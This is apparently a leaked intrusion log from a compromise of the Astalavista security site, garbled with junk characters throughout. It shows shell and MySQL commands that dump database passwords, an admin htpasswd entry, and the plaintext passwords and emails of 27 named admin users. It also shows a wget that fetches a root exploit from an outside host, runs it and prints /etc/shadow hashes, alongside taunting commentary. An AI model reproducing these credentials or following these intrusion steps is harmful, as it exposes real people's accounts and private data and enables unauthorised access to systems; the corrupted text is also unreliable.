drwxr-xr-x 7 astanet astanet 4096 Jan 5 2006 _0mysql5 a6 ?2 ]2 y, Y+ [9 d! s$ L: a. ]
drwxr-xr-x 7 astanet astanet 4096 Dec 22 14:16 链接标记astanet@astalavista.com
( p& a5 _: p9 p3 vdrwxrwxrwx 2 astanet astanet 4096 Jan 5 2006 backend
6 L& B4 o) L4 E- m3 Y0 q4 y n1 Ddrwxr-xr-x 2 astanet astanet 4096 Oct 24 2006 banner
- c) ]2 {3 Z& o4 _$ E' K-rw-r–r– 1 astanet astanet 25724 Apr 4 2006 banner.jpg2 p3 \2 } F! d5 I
drwxr-xr-x 2 astanet astanet 4096 Aug 11 2006 config
1 b) L1 \* }; Z) w0 udrwxr-xr-x 3 astanet astanet 4096 Jan 12 08:52 cron3 m0 P# j+ G. c3 D- p; |1 L$ t
drwxr-xr-x 11 astanet astanet 4096 Jan 5 2006 dvd
6 K* D0 `# d9 f5 l& l7 `-rw-r–r– 1 astanet astanet 36 Jan 5 2006 error.php
/ U! s3 |3 ^, U1 [; l# X% E2 ?-rw-r–r– 1 astanet astanet 1406 Jan 5 2006 favicon.ico3 G& N: x+ |4 a1 X
drwxrwxrwx 2 astanet astanet 4096 Dec 15 2006 feed
2 L: w! H& q# u. ]: K. c( x- Adrwxr-xr-x 3 astanet astanet 4096 Dec 8 2006 flashtour. g. s: I; z3 G: l
-rw-r–r– 1 astanet astanet 18 Jan 5 2006 htaccess; D+ [( ?3 \0 h; R1 f
-rw-r–r– 1 astanet astanet 585 Mar 24 14:50 .htaccess
- \( t4 B3 I9 B1 }5 z-rw-r–r– 1 astanet astanet 398 Jan 5 2006 index1.php- l, Y t& H6 H9 j- ~# A c/ y
-rw-r–r– 1 astanet astanet 1036 Jan 5 2006 _index.html
t( x" k& u/ \9 S-rw-r–r– 1 astanet astanet 6880 Dec 23 14:44 index.php a! j- d" b9 _% q; R; N
-rw-r–r– 1 astanet astanet 676 Mar 21 2006 index_redirect.php
# ~% q3 ?0 ?! F3 q-rw-r–r– 1 astanet astanet 739 Feb 24 2006 index.swf/ t, Y! b* B- K8 C9 S
drwxr-xr-x 4 astanet astanet 4096 Oct 18 2006 irc6 w( @6 N" l; P7 u( O
drwxr-xr-x 4 astanet astanet 4096 Aug 11 2006 lang
& m7 t& I- I0 M' o) Hdrwxr-xr-x 13 astanet astanet 4096 Sep 21 2006 lib7 f8 a* t$ ]2 X0 c, |& {
drwxr-xr-x 6 astanet astanet 4096 Aug 11 2006 log
% c A# J/ @1 W; ndrwxr-xr-x 2 astanet astanet 4096 Jan 13 14:02 member
% D( m5 f: d5 N+ r! }0 ddrwxrwxrwx 5 astanet astanet 4096 Jun 4 00:03 memberdata
6 |/ W/ {7 [$ i, ^8 Rdrwxr-xr-x 2 astanet astanet 4096 Jan 5 2006 new# n4 s4 T7 e# I7 W: P( O
-rw-r–r– 1 astanet astanet 7219 Feb 24 2006 pix1.swf& g. U9 e8 q" N* t9 v: L% d
drwxr-xr-x 2 astanet astanet 4096 Oct 27 2006 re
0 O; d3 X% ?% g) p1 m; q/ m-rw-r–r– 1 astanet astanet 23 Jan 5 2006 robots.txt9 O( |5 w( c- k
drwxr-xr-x 3 astanet astanet 4096 Aug 11 2006 rss! l7 e& H5 T5 T1 Z# d y
drwxr-xr-x 39 astanet astanet 4096 Dec 13 2007 sources& O4 k: ^% c3 {4 N) L# P8 b
drwxrwxrwx 3 astanet astanet 4096 Feb 2 15:40 temp_com
- V1 n* g- j1 f5 _/ O4 X- t& {drwxr-xr-x 7 astanet astanet 4096 Aug 11 2006 themes
: M/ W, w6 q- \9 P5 edrwxr-xr-x 2 astanet astanet 4096 Mar 14 2008 tmp_src7 p- Q$ N: d' W! s- v
drwxr-xr-x 5 astanet astanet 4096 Aug 11 2006 tpl
/ U0 n4 @" m1 o2 Vdrwxr-xr-x 3 astanet astanet 4096 Sep 7 2006 v2
: Q5 \( ~/ d$ Udrwxr-xr-x 16 astanet astanet 4096 Jul 5 2006 v2_old
5 s( w% z* k4 c1 H, v) p! ]-rw-r–r– 1 astanet astanet 35 Dec 4 2006 webcash.php' t$ k2 x. h, `1 }
drwxr-xr-x 13 astanet astanet 4096 Sep 21 2006 wiki3 k7 j) Y4 J M
$ U+ {- g0 F9 O/ r2 `( Ssh-3.2$ head -20 index.php
; K3 P( g5 M3 J3 a9 l( W+ C1 S* n<?PHP
9 x' a- p- k4 |) e: y; }/**+ C! A' d2 O' ~: F. o
* Mainfile (external) for astalavistaNET v2.0
j& _1 a% a2 x$ i+ h5 v& N*7 K5 S/ ^( j, P
* @copyright Astalavista IT Engineering GmbH
A e0 O) J8 U* @author Thomas Kaelin <链接标记thomas.kaelin@astalavista.ch>
% _+ _1 g" U. X" u8 }9 ^* i: v* @version 1.0
6 @! q% [& I5 ^, O- C4 [! a+ G! ?*/ S/ j3 J! j# F; f8 p' p- a) d. c
. T) r2 @7 K' F' X
if ($_SERVER['PHP_SELF'] == ‘/webcash.php’) {
. w$ j6 O3 S# ~6 H0 C+ w/ y $dontStartSession = false;7 |0 X. |5 o. q
} else {
6 I% L$ B4 P+ |' l U% e $dontStartSession = true;8 w, u0 q' V& I- e; I3 k6 M
}0 D" h. h# E. P; Q
require_once($_SERVER['DOCUMENT_ROOT'].’/config/com.conf.php’);
2 D% |- y ~3 q' Q require_once($_SERVER['DOCUMENT_ROOT'].’/config/ext.conf.php’);
; Z7 F# _5 Q6 J- v require_once($_CONFIG['path_absolute'].$_CONFIG['path_init'].’com.class.php’);
- v* ?- {# D5 } require_once($_CONFIG['path_absolute'].$_CONFIG['path_init'].’ext.class.php’);4 C! h0 Q% w0 j' Q
9 }, m* `- o0 R: z. H
sh-3.2$ cd config0 W3 g) S9 j9 H0 ^* P" ~
sh-3.2$ ls -la
' e" }6 _5 C7 ]total 32
7 q5 ]) A q! ]7 e3 H- ddrwxr-xr-x 2 astanet astanet 4096 Aug 11 2006 .
( v' h9 ?! |4 P/ Z" R5 z1 b% Bdrwxr-x— 29 astanet apache 4096 Jan 6 13:58 ..
3 ^) t/ Y4 h; X-rw-r–r– 1 astanet astanet 987 Aug 11 2006 adm.conf.php
\% p. W5 U& K) {-rw-r–r– 1 astanet astanet 4937 Dec 23 15:48 com.conf.php. D, p1 o/ W* D% C; W: Z; N, |$ C
-rw-r–r– 1 astanet astanet 913 Aug 11 2006 cron.conf.php" l7 a* s" a' }1 g" k& D$ n
-rw-r–r– 1 astanet astanet 1668 Aug 20 2008 ext.conf.php: M( c3 X! N- ^4 ]0 G# Y
-rw-r–r– 1 astanet astanet 2724 May 30 2007 int.conf.php7 b4 N. S3 i& K3 \: B5 z
& B9 o1 a5 m/ n' y9 h) tsh-3.2$ cat com.conf.php
* { I1 g* y# Z$ \[snip]$ ~1 E6 x) `% P% u) O$ f
//member-database
I- b: Q* ^+ K) X! f$_CONFIG['db_mem_server'] = ‘localhost’;
3 X& f8 \6 @( `" O$_CONFIG['db_mem_database'] = ‘astanet_membersystem’;. `- ^# u. M2 \: O7 F& y2 ?
$_CONFIG['db_mem_user'] = ‘astanet_db’;
( X, ]$ p* o, h$_CONFIG['db_mem_password'] = ‘TXwVrC7hbq’;
& | ?7 P: t: V- }! T' U6 v- w$_CONFIG['db_mem_debug'] = false; //true or false2 o4 e8 w2 T! h- O
//ads-database
% a1 u/ e; B& w( ]: m7 O% @$ C$_CONFIG['db_ads_server'] = ‘localhost’;
, f' j) ^% m8 H, t1 m4 O) ^$_CONFIG['db_ads_database'] = ‘astanet_ads’;
6 g0 w6 x. i' W" R8 k$_CONFIG['db_ads_user'] = ‘astanet_db’;( \- {3 `7 w$ H' Q* _) J4 o
$_CONFIG['db_ads_password'] = ‘TXwVrC7hbq’;
L8 b* v: S1 w4 W6 v% B* |$_CONFIG['db_ads_debug'] = false; //true or false
! a# a# Q/ c, A0 j* Q//rainbow-database
+ t# F4 V" K4 [# |$_CONFIG['db_rainbow_server'] = ‘212.254.194.163′;, W/ T4 m8 I3 _& |/ k0 o
$_CONFIG['db_rainbow_database'] = ‘rainbow’;7 z, }' T8 z. E
$_CONFIG['db_rainbow_user'] = ‘dinu’;
N/ N$ {9 I j: `$_CONFIG['db_rainbow_password'] = ‘dinudinu’;
; Y2 z. s$ Y' q& n ]. }$_CONFIG['db_rainbow_debug'] = false; //true or false
. w O2 R4 q( U5 y) N" X//mailing lists database
8 z" E; w( @; O3 e$_CONFIG['db_mailing_lists_server'] = ‘localhost’;
* g6 |: C$ Z# |: L$_CONFIG['db_mailing_lists_database'] = ‘astanet_mailing_lists’;
' Q8 E) F7 i$ \4 p1 L$_CONFIG['db_mailing_lists_user'] = ‘astanet_db’;
: r) ^. q2 o8 [0 f$_CONFIG['db_mailing_lists_password'] = ‘TXwVrC7hbq’;
) l$ w2 [0 x% r2 i, \$_CONFIG['db_mailing_lists_debug'] = false; //true or false
1 W ~+ s+ c' }0 v8 r//paypal
) E( [3 S% @" h) O# [' P$_CONFIG['sub_pp_url'] = ‘链接标记[url]https://www.paypal.com/cgi-bin/webscr[/url]’;! i1 o0 G9 _ H2 p; K
$_CONFIG['sub_pp_cmd'] = ‘_xclick’;* r% l/ p" W% S- T8 X8 a, k
$_CONFIG['sub_pp_business'] = ‘链接标记info@astalavista.net’;! ?4 h9 u1 v5 A* i
$_CONFIG['sub_pp_noship'] = ‘1′;* N* i- M, c8 ]- A5 t
$_CONFIG['sub_pp_referer'] = ‘链接标记[url]https://www.paypal.com/[/url]’;: n1 M0 F& D4 X% p) C
[snip]: `* B4 @2 L! U
: c W g) k3 I* y" Dsh-3.2$ cd .., ~, q/ i, Q' L; b
sh-3.2$ cd member
5 ?$ V6 q- I( F4 h- w9 N$ lsh-3.2$ ls -la/ A5 } j% G7 I
total 20
% Z, S- |8 P: c! Udrwxr-xr-x 2 astanet astanet 4096 Jan 13 14:02 .
% q) I4 F. B+ ~# W' udrwxr-x— 29 astanet apache 4096 Jan 6 13:58 ..
' B) a0 K3 F" A5 w) Q/ `-rw-r–r– 1 astanet astanet 19 Jan 13 14:02 .htaccess
6 B2 `* T' G* p/ N- B1 k/ l7 u8 C-rwxr-xr-x 1 astanet astanet 6709 Jan 13 14:06 index.php
6 E) v \0 \) F# ]. y3 `sh-3.2$ cat .htaccess0 b- ^7 e) z" O4 J1 F
SecFilterEngine off
0 X( @) }$ l( V
: m# f, E6 m+ q% n/ x# w* ish-3.2$ cd ..2 b4 J* w$ l& w" c
sh-3.2$ cd cron' r( d q. N9 z; T" o. r) y
sh-3.2$ ls -la/ i% C7 q) A! w5 Q, @7 y7 j+ @
total 168: N) H q/ L. v
drwxr-xr-x 3 astanet astanet 4096 Jan 12 08:52 .
0 v- q$ d; o( {5 i2 [% C) udrwxr-x— 29 astanet apache 4096 Jan 6 13:58 ..
2 y- T& H1 O4 H. P-rw-r–r– 1 astanet astanet 1272 Jan 12 08:24 0_corefile.php2 n2 B. k; H9 X
-rw-r–r– 1 astanet astanet 2356 Aug 11 2006 0_functions.php
! w' E/ J6 g5 [- c ]$ B$ X. B6 x0 h' H-rw-r–r– 1 astanet astanet 3616 Dec 23 15:44 1_daily.php
, Y" Z3 t. L/ i* c, S3 c9 v-rw-r–r– 1 astanet astanet 527 Aug 11 2006 1_fivemin.php
/ P8 Y" X' Z# L7 x8 `- Y-rw-r–r– 1 astanet astanet 5006 Dec 23 15:39 1_hourly.php
I9 K$ d2 ?# R6 O$ Q3 u% I/ q-rw-r–r– 1 astanet astanet 432 Aug 11 2006 1_weekly.php5 c5 O9 @- \4 b4 e
-rw-r–r– 1 astanet astanet 2277 Aug 11 2006 2_advertising.php
( G6 t$ F8 o' Q8 u-rw-r–r– 1 astanet astanet 4882 Dec 23 15:40 2_archives.php& W# Z4 a! ~ ~0 |3 k+ i
-rw-r–r– 1 astanet astanet 3784 Aug 16 2006 2_awstats.sh; A4 x7 }: @6 w" k [- r
-rw-r–r– 1 astanet astanet 14894 Jan 12 08:51 2_expire.bak.php
9 I! \: ]' j1 y! R# l-rw-r–r– 1 astanet astanet 14979 Jan 12 09:10 2_expire.php
! g! L1 R: q: V( Z8 U% v4 S' @-rw-r–r– 1 astanet astanet 7657 Aug 15 2006 2_exploitree_updater.php
6 B% i1 J! z) [1 t-rw-r–r– 1 astanet astanet 686 Dec 23 16:31 2_filesize.sh2 c; X7 Z, O8 F, d" K7 f9 i, Y
-rw-r–r– 1 astanet astanet 9853 Aug 11 2006 2_keywords_old.php9 A8 L) W( p8 S" l) x
-rw-r–r– 1 astanet astanet 15664 Sep 22 2006 2_keywords.php
4 N# n0 V1 ~ ?. j. n% d-rw-r–r– 1 astanet astanet 1233 Aug 11 2006 2_proxy_checker.php
4 [7 m9 o1 l- z j6 V-rw-r–r– 1 astanet astanet 7558 Aug 11 2006 2_proxy_collector.php* v, b4 r0 u5 I0 x% T1 s- c w
-rw-r–r– 1 astanet astanet 796 Aug 11 2006 99_create_emails.php- p' @" d: ^# t/ a, R% Q
drwxr-xr-x 2 astanet astanet 4096 Aug 11 2006 99_lang_email/ u1 S- C# t* A' t/ \2 Y8 P* g( i
-rw-r–r– 1 astanet astanet 9622 Jan 6 16:04 login_reminder.php
4 p. E0 J: S% c6 E-rw-r–r– 1 astanet astanet 9620 Jan 6 16:05 login_reminder_test.php3 {( ^ G% T5 p @9 Z
1 W2 k5 @& o& o2 |4 r
sh-3.2$ cd ..
) a8 }+ I2 s8 c% A- c" H+ {; q9 Fsh-3.2$ cd _0070 u3 {( \& i/ C. H
sh-3.2$ ls -la/ V. L+ Q$ p4 _6 x6 U+ ?5 H$ @
total 24) K; x i! @" m1 W
drwxr-xr-x 3 astanet astanet 4096 Dec 27 2006 .
7 z8 U7 u3 b2 k- i: N3 P: G) }drwxr-x— 29 astanet apache 4096 Jan 6 13:58 ..$ I( X* L' v+ t+ {
-rw-r–r– 1 astanet astanet 96 Dec 23 15:17 .htaccess
h* L: z# V, ]9 p( {8 _-rw-r–r– 1 astanet astanet 3263 Jan 15 2007 index.php
1 c- E3 r/ \+ v: c, i-rw-r–r– 1 astanet astanet 20 Dec 27 2006 info.php
7 ~$ M [" B7 I- l; \drwxr-xr-x 5 astanet astanet 4096 Aug 11 2006 sitemap
6 ^0 e/ b2 }; a* c9 ~- r6 F6 F3 v% }% q9 Y
sh-3.2$ cat .htaccess
( O+ h. Z H8 |; dauthType Basic4 b! A5 v& a5 e7 t3 m
authName Admin
: C/ S/ A+ I! {. c$ U* `authUserFile /home/astanet/auth/.htadm_pwd% z8 [ M( N$ n; `: w/ i$ R/ f
require valid-user, z+ V8 k r7 t
9 j' B* ]9 w0 k. X1 p% \* T, }
sh-3.2$ cat /home/astanet/auth/.htadm_pwd
. R) m% L- O8 w- \ madmin2net:CR0bl65MwhfT6 u* e* K& R7 `0 F3 _
/ U+ V) q1 l5 }0 U
sh-3.2$ mysql -u astanet_db -p5 Y9 [0 m) [, R% p9 x
Enter password:
/ }9 D* D, A. |4 H! JWelcome to the MySQL monitor. Commands end with ; or \g.; u- U7 r! ~! B. @
Your MySQL connection id is 2751530 T4 @* N9 f5 i; z* j; [! d
Server version: 5.0.45-community-log MySQL Community Edition (GPL)
5 s0 i. W: T5 E2 A7 ~* n+ a
7 f: [7 B3 N( h- p& LType ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.
G8 e* b: _9 b6 a
& U, K# ~" a7 j d) c! kmysql> show databases;( \* g( ]! w, l% X! c
+———————–+
) ]5 h: e; v( D/ p) [- T| Database |3 U" J0 i% V, K8 x% @
+———————–+2 u( g1 X9 R0 S; t; p0 O* ?
| information_schema |
1 L. q' A( [: q. L: n| astanet_ads |
5 ^7 L7 v/ J( ?% B' j| astanet_mailing_lists |
5 G* B o2 b" e' ?! x* o| astanet_mediawiki |2 J z; x8 n( i9 {
| astanet_membersystem |/ ?" K& E6 b' o) o: W
| test |
9 h: U1 a, E! m" {* ~+———————–+9 d$ i; [* g7 u& ^% }1 z
6 rows in set (0.00 sec)' ]( ~, Z" A9 E7 Z$ P) d! v
~. j/ }* O2 a, F0 {mysql> use astanet_membersystem# y2 F0 K3 k$ @8 g' e3 h0 @5 G
Database changed- h( t) _5 p! t4 @: @. F' G p( i
mysql> show tables;/ f" j$ r2 V8 P: E
+———————————–+; N2 S4 z, ^* d1 u: ~/ G8 i1 A
| Tables_in_astanet_membersystem |
' K9 [' G4 ~( J& K% x7 p+———————————–+$ W- s2 y+ t) ?1 O% \& Q
| blacklist_categories |0 l& U* d K9 m1 W4 N+ f8 {
| blacklist_content |# }6 J# Q* t3 P
| blacklist_levels |
% i# R( z0 f! r8 z {1 k| blacklist_mcset |) J4 W9 Q9 x9 U
| dir_categories |
( U. R7 ~8 v! U8 @& b| dir_comments |- O6 G- t/ }. ?) D' h
| dir_links |. |7 h5 @% ~ u" S* K
| dir_temp |
& n4 u! V0 Q" s. e+ A2 G| dir_votes |5 g7 ?! e7 E7 _* D' F
| documents |- C. h$ @3 |2 w
| documents_categories |: J; n% p2 f4 \( E
| email_content |% f4 L/ l' ^+ O5 r) w Q
| email_settings |
- \" c }8 W7 X| exploits |/ k9 ?% n \) A$ z8 |! W
| exploits_categories |
$ X' h4 G6 H8 `7 o6 Y% u| exploittree_categories |; ?7 y' [7 _" ]* G
| exploittree_exploits |
- B" X. [, _; y) K8 A3 z* b| home_values |
A0 |$ m+ b8 f| iso_countries |- |3 O' e' Y9 V% U% A
| links_categories |
/ [' e# B6 |" `| links_records |0 m7 y6 Z5 o" s- B2 m7 v. S
| links_unauth |
7 k9 X# e1 }" `/ f$ A+ {& Z6 Z+ V| links_votes |# J: ^2 j* K0 b8 c
| log |- {+ _$ T4 b. v8 P Q- N- \1 v4 Q
| news_categories |; C2 u2 I2 Y% n7 u2 p v9 `
| news_comments |
2 ]: r5 T) F* U) Z1 `6 S| news_emoticons |
5 @% M6 L% A7 X! s, M& P* }' G# H( U/ S| news_latest |
, p, l8 T: l/ q& g# w, q9 m| news_messages |* B) H% a+ m( F/ l0 E
| news_statistics |+ r9 }* C, s/ m( u0 \1 m$ b
| news_votes |
- w1 O* F+ O# o$ b, [ O* s| prices_content |
- j4 n/ u5 o2 n3 U1 e| prices_offers |
- ~+ p1 s- ?' H# I" n, T| rss_settings |1 c" Z& r/ X. j4 `2 ]& j6 ]$ H0 a& g
| sessions |
v: X5 {# l0 c" O2 y. g% w| stats_signups |
: p% { q7 S2 Y/ e8 K| u2u2 |8 U% S% |6 H. U q* u0 N
| u2u_contact |
) Y# }: X+ ?. j- d9 L| u2u_settings |' R( M$ M: Q8 ^0 V2 s
| user_keywords_selected_categories |
: y |% v/ J* N4 d, {& H" C3 ?6 p0 u+ H| users |" k3 p5 K D$ H$ ]& x* C @: w3 Y5 `
| users_ipn_test |
. d/ g3 y1 E) B4 A- @9 a5 P| users_keyword_values |7 |5 F- V) W3 s* n2 c0 U
| users_profile |
6 @, Z! j# S0 c9 W| users_temp |
4 `" i& o1 S5 g7 u1 k$ [8 j| users_upgrade |% v0 v% P0 e- @* S9 [$ }9 C1 {
+———————————–+ j; k* `7 i4 B' \
46 rows in set (0.00 sec) t5 I; e5 S* s" n8 a X+ h% r
: N) L/ _9 P1 _8 {8 v% b! d
mysql> describe users;* T& _. h' J" s# V# A; K& t. ?
+————————–+————————————–+——+—–+———————+—————-+
3 P. w8 o9 E2 l( W: Q. M| Field | Type | Null | Key | Default | Extra |5 a9 t) \ S8 J4 P# Y6 S
+————————–+————————————–+——+—–+———————+—————-+4 f* n- i9 a" `2 d. C/ e
| primary_key | smallint(5) unsigned | NO | PRI | NULL | auto_increment |
. L0 X2 W8 c8 f3 M: f| user | varchar(50) | NO | | | |# @! q% o! N# s& }: Q1 u; ]
| nickname | varchar(30) | NO | MUL | anonymous | |
. B% r2 l1 @" M+ G| password | varchar(30) | NO | | | |
# |, S9 Z+ l& o2 D, d, Y: c# n( Z| userlevel | tinyint(3) | YES | MUL | NULL | |
5 t V q2 J5 \; O$ a| exp | int(8) unsigned | NO | | 0 | |( I7 h* c7 ]# a% \7 Z! T& I6 p6 P
| email | varchar(50) | NO | | | |
# C2 k+ Z/ R& ]% o9 K7 I: M6 R| ip | varchar(15) | NO | | 0 | |
* o# l. \" y' C| proxy | set(’0′,’1′) | NO | | 0 | |
3 r" |0 {' n, ]6 V5 ~; k| logtime | timestamp | NO | | CURRENT_TIMESTAMP | |4 t- I& Y' R% c/ b8 N( d
| login_reminder_last_sent | timestamp | NO | | 0000-00-00 00:00:00 | | ^5 \6 A P6 M" {2 h" I
| anz_in | tinyint(1) | NO | | -1 | |
2 K6 d6 d* h: _4 || status | tinyint(1) unsigned | NO | | 0 | |1 X6 M. } z1 v
| checked | set(’0′,’1′,’2′) | NO | | 0 | |% u. u7 p% Z4 l1 h
| freemember | set(’0′,’1′) | NO | | 0 | |( H1 L9 a2 t$ r- w' k8 m5 {
| ordertype | set(’transfer’,'wp’,'pp’,'mc’,'CnB’) | YES | | NULL | |
6 d+ U1 K% I- z* }: L| lang | tinytext | NO | | | |, P1 q3 T; P! u e) _
| adid | smallint(6) | NO | | 0 | |
) W/ n$ {$ E! f0 t| pp_txn_id | varchar(255) | YES | | NULL | |( q1 T/ @! p% ]# I# h
| cnb_transaction_id | varchar(255) | YES | | NULL | |& Q9 l, m7 O% T
| cnb_order_id | varchar(255) | YES | | NULL | |) B: T% C8 C5 e9 f% _# t
| cnb_user_id | int(11) | YES | | 0 | |& C+ e* u: S3 ?5 W' c1 j
+————————–+————————————–+——+—–+———————+—————-+3 C/ j7 \ I- V: O: P& U
22 rows in set (0.01 sec)4 q7 g. p g; |$ Y' Y6 \6 a: l5 d
" X# w" T9 ~7 G! Q- [ Q" H
mysql> select count(*) as skids from users;8 L& b) ~ y' O! H6 a: l- a
+——-+
+ }0 Q% L8 L) c4 y+ e# ?" f% r( P: Q| skids |* r$ G \ a* T4 D6 \6 @! l) F
+——-+
8 U4 d$ D& O4 ^. F- M7 y& q% ?% T| 25199 |+ X% K5 m3 I) U' |' O
+——-++ Y4 j: a# l6 C5 g$ P: j8 q0 M
1 row in set (0.00 sec)
* p' X3 \0 w4 n% {6 P" c( |( a* o; e. {6 d) `
mysql> select user,nickname,password,email from users where userlevel = 1;& n8 P9 j1 Q. S7 U! V
+————————–+———————-+——————+———————————–+
# x+ a0 P" E+ B( ?9 K| user | nickname | password | email |1 o" K4 f2 k# c5 d" v+ f& \. M
+————————–+———————-+——————+———————————–+7 C0 |* A7 T1 r
| pascal | prozac | astaman3 | 链接标记info@astalavista.net |
4 a* K8 X' v2 ~4 p3 N3 r| Ivan Schmid | rOOtless1 | astalavista4asta | 链接标记ivan.schmid@comvation.com |+ M2 Q$ R$ z6 }& R! \8 b
| qreymer | Palermo | qblsw85iam | 链接标记eche@home.se |
) @1 u, w+ j7 l| Christian Wehrli | g0atherd | hitt?74 | 链接标记g0atherd@gmx.net |& d* l/ i m+ U' i( D3 S; k7 i
| Andrew Blake | Minky | liq73uid | 链接标记a.blake@har.mrc.ac.uk |
5 `# v) Z8 g' G" B' X8 f! N| Martin Wyss | dinu | kj63;cXy | 链接标记martin.wyss@astalavista.net |
/ i, o! I4 X; \| Leandro Nery | Timan_no_Sanco | nery2002 | 链接标记leandronery@hotmail.com |* @4 T- D: ^8 X+ b+ v8 ]$ B6 m
| shaving ryans privates | ShavingRyansPrivates | memberboard313 | 链接标记shavingryansprivates1@hotmail.com |: i& `0 Y: f# V. {
| Gerben van der Lubbe | Spoofed Existence | Lb59eXg5 | 链接标记spoofedexistence@hotmail.com |) ^9 L( u" t2 ?; r( L/ T
| David M Lee | Daremo | icG12m03 | 链接标记daremo@hackerheaven.com |
) Q2 w, R# M9 v: d T: l$ z| David Corn | akriel | ve3uB$cUku | 链接标记akriel@fallenroot.net |9 V! O/ e1 c7 {; W. d9 Y+ c* S
| Thomas Kalin | Gwanun | QwErTy123 | 链接标记thomas.kaelin@astalavista.net |
- {- L* \7 E* p| Marcus unknown | Cra58cker | hhCr4ck06 | 链接标记unknownmarcus@hotmail.com |
$ F5 @* D3 \) S: C" k! b| David Ellis | dellis203 | philip | 链接标记dellis@nightwatchnss.com |
; @3 n9 R& j* ^| Lars Christian Solberg | xeor | tF3s4|Nea | 链接标记xeor@hush.com |
8 C e6 i) \" ]; a( I| Paulo Santos | Be1er0ph0r1 | amor01 | 链接标记pmsantos@gmx.ch |2 \& d) M5 q& X y: [: L: ?1 ? K
| Thomas D?ppen | daha | asta4tom | 链接标记thomas.daeppen@astalavista.ch |- P8 T0 L2 g. M9 ?- |+ z
| Touraj Abbasi Moghaddasi | -Crow1 | NetR0ck | 链接标记toraj.a.m@gmail.com |
. d/ L8 o/ X" J1 y$ U9 A; S" Z/ G| Fabius Bernet | traviser | wellenreiter100 | 链接标记fabius.bernet@astalavista.ch |
8 `2 i8 t$ O; T% O; V5 s| Zachary McElroy | duder1 | dirty245dix | 链接标记mcelroyzj@yahoo.com |$ @+ g' A9 W4 r
| Leron Cohen | cohen2 | leron4free | 链接标记leron@quiredmedia.com |
! K6 {% v F. Z| Beatriz Pontes | anonymous1656 | pitas | 链接标记joao.pedro.pontes@gmail.com |8 ?) _- m) v1 z4 {3 V
| Glafkos Charalambous | anonymous2086 | si99490178$# | 链接标记nowayout@webhostline.com |
0 Q8 P7 Q* x% B# a, S2 o| developer COMVATION | anonymous2402 | Ri?Q$Q$MVU | 链接标记ivan.schmid@astalavista.ch |
* H5 }) I0 j+ X- i% |" ?! m. Q| Peter Fisher | cyph3r1 | testZer025435 | 链接标记cyph3r@astalavista.com |
9 Q8 I1 t8 s Z4 z- N O| sykadul | sykadul | ak29eral | 链接标记sykadul@gmail.com |* I+ t( Y. K: k9 H8 Y0 ]8 J+ C4 O
| Ronny Janzi | commander1 | mpbdaagf6m | 链接标记ronny.janzi@astalavista.ch |
: q/ x2 \6 F* S3 V+————————–+———————-+——————+———————————–+! P% n$ M8 Z! L7 V9 A8 }
27 rows in set (0.00 sec)! Z! U( c& L& J- \3 v# z7 F8 _9 l/ O! k
+ M9 h& X/ @5 h* jmysql> exit;
8 i1 j4 k! D$ T2 z6 QBye& E: [9 c5 E7 H' q1 }# ^; r" p
4 u; m7 g# Y0 r+ o- H0 _ X% R1 \
[~] plaintext passwords? yes,
% S7 T9 y# K; d6 D7 CThose so called “security professionals” who charge you $6.66 / month to
0 Q; _0 L" H6 d! d H- ]+ S" Xregister at their hack-proof portal, save your passwords in plaintext…, J% V& L c0 z* C7 ?+ k+ |
brilliant!) G- _5 J* a6 N0 L* t
7 m5 j6 g ~ e# E- `
[~] This been fun but we want more.
8 v0 ^4 l) R, u" L5 P: |; h9 h0 J! h3 |" W# g+ H- |2 y
sh-3.2$ uname -a& U4 m$ N1 Q* @
Linux asta1.astalavistaserver.com 2.6.18-128.1.10.el5 #1 SMP Thu May 7 10:35:59 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux5 y! W2 \& R6 f' |: `4 I5 [
sh-3.2$ wget 链接标记[url]http://anti.sec.labs/g0troot[/url]
( c( Y- K) C( w6 X/ L9 n- N–13:33:37– 链接标记[url]http://anti.sec.labs/g0troot[/url]
+ z- s' Y/ |, R% J3 \: RResolving anti.sec.labs… 13.33.33.37" h% c$ Q. O' m! R% z& @
Connecting to anti.sec.labs|13.33.33.37|:80… connected.
& u+ c$ D6 V. N9 }# oHTTP request sent, awaiting response… 200 OK( j x$ ]1 ~7 _+ x% M! {% q" U
Length: 18200 (18K) [text/plain]( j/ L. j, ]" x/ y( }. V6 w3 q+ V
Saving to: `g0troot’! p% R2 F5 n( W) \3 T. V
3 h, `; n- d4 T8 G4 q4 d( N100%[=========================================================================================================================================>] 18,200 58.6K/s in
# E/ z# }; q9 m w. R/ G0.3s
7 Z* b0 T+ u$ n$ A
9 z% f- q0 t, D; Z0 e9 g3 n: ~18:55:14 (58.6 KB/s) - `g0troot’ saved [18200/18200]
/ m4 Y+ z/ V/ H3 x+ c* \# |, j4 j( j) A$ U0 G, b- h9 R
sh-3.2$ ./g0troot -i x86_649 Y$ }+ m$ |3 J4 W G; l
[+] g0troot - anti.sec.labs- d. S& [ T* y- P- u
[+] Target: 2.6.18-128.1.10.el5
$ S# t; L1 a7 a' n[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~>]
$ v, b m, \$ B( Y6 K# r; V# _6 k
( z4 W2 h5 y0 I& K4 G' V[+] r00tr00t6 H2 W; s1 Y2 L; T) D1 i2 ?
[~] Executing shell…
3 |2 a5 v1 ]0 i |" [+ R4 T- }
" k$ U n! w' f6 o1 Q7 f# lsh-3.2# id
1 Z2 C* y0 M$ J. Yuid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)/ ?( C% s7 `9 S
7 Q3 Y' q: O( H% h8 | ]sh-3.2# cat /etc/shadow
" M" a) Y. g- ^+ Hroot 1$P/3ZMAgv$E9B4mX02s1Xrimj46V602.:14015:0:99999:7:::, C# {- O& a3 t4 d5 I3 K
[snip]* X" b& q p6 _4 U S3 U
admin1$sbycsEGo$d81laShnxFiziFaQMH32F.:13770:0:99999:7:::
. Z& X2 Y g0 I+ n: ejon1$5yHxRLX.$8pZs0cQLNh5uFCK3m4st1.:13777:0:99999:7:::; u7 E* g% `9 U- H" Q+ R
com1$jEZ62nri$aDTj.1REsrYePcPBdfOQz1:13780:0:99999:7:::
% i, o0 m' W6 ]8 R! Y$ h9 Bastanet1$YniJLAr.$NKtPNNGK9mcmz3/mLMSWC1:14235:0:99999:7:::
( ~% E* v2 b8 V/ s8 a0 ] N4 L* T1 ^
sh-3.2# cat /etc/motd
) U- s: ~/ Q$ O6 u$ |/ X% M! @6 U* ~#####################################################
